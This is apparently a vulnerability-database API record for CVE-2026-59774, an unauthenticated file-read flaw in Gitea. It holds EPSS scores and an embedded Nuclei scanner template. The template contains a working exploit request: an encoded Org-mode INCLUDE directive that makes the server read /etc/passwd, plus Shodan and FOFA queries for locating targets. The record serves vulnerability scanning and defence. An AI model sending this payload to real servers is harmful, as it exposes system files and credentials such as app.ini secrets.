{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-59774/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-59774/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-59774/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-59774/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-59774/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-59774/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-59774"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-59774"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.28308,"kev":false,"percentile":0.9812},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-59774.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-59774\n\ninfo:\n  name: Gitea 1.22.1-1.27.0 - Unauthenticated Arbitrary File Read\n  author: ashish-cybersec\n  severity: critical\n  description: |\n    Gitea versions 1.22.1 through 1.27.0 initialize the go-org markup renderer without replacing its default ReadFile callback. An unauthenticated attacker can submit Org-mode markup containing an #+INCLUDE directive with an absolute path to the repository markup endpoint of any public repository, causing the server to read and render arbitrary files accessible to the Gitea service user.\n  impact: |\n    Unauthenticated attackers can read arbitrary files readable by the Gitea service user, including app.ini which contains INTERNAL_TOKEN, OAuth and JWT material, and database credentials. The advisory notes this can be escalated to command execution via Git hook injection.\n  remediation: |\n    Update to Gitea version 1.27.1 or later.\n  reference:\n    - https://github.com/go-gitea/gitea/security/advisories/GHSA-6v53-hr58-556r\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-59774\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-59774\n    epss-score: 0.28308\n    epss-percentile: 0.98126\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: go-gitea\n    product: gitea\n    shodan-query: http.title:\"Gitea\"\n    fofa-query: title=\"Gitea\"\n  tags: cve,cve2026,gitea,lfi,traversal,markup,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/v1/repos/search?limit=1\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"full_name\\\":\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: reponame\n        json:\n          - '.data[0].full_name'\n        internal: true\n\n  - raw:\n      - |\n        POST /{{reponame}}/markup HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        mode=file&file_path=a.org&text=%23%2BINCLUDE%3A%20%22%2Fetc%2Fpasswd%22%20src%20shell\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"chroma language-bash\"\n\n      - type: regex\n        part: body\n        regex:\n          - 'root:.*:0:0:'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a004830460221008ad461897076f6506353baaf27304ce7380a36cebaaf531b218746162deb3148022100cbcc1153f4446e9171638c2021f5d1b5e275b6d1979d495cb1c1ef22f4f5887c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-59774"}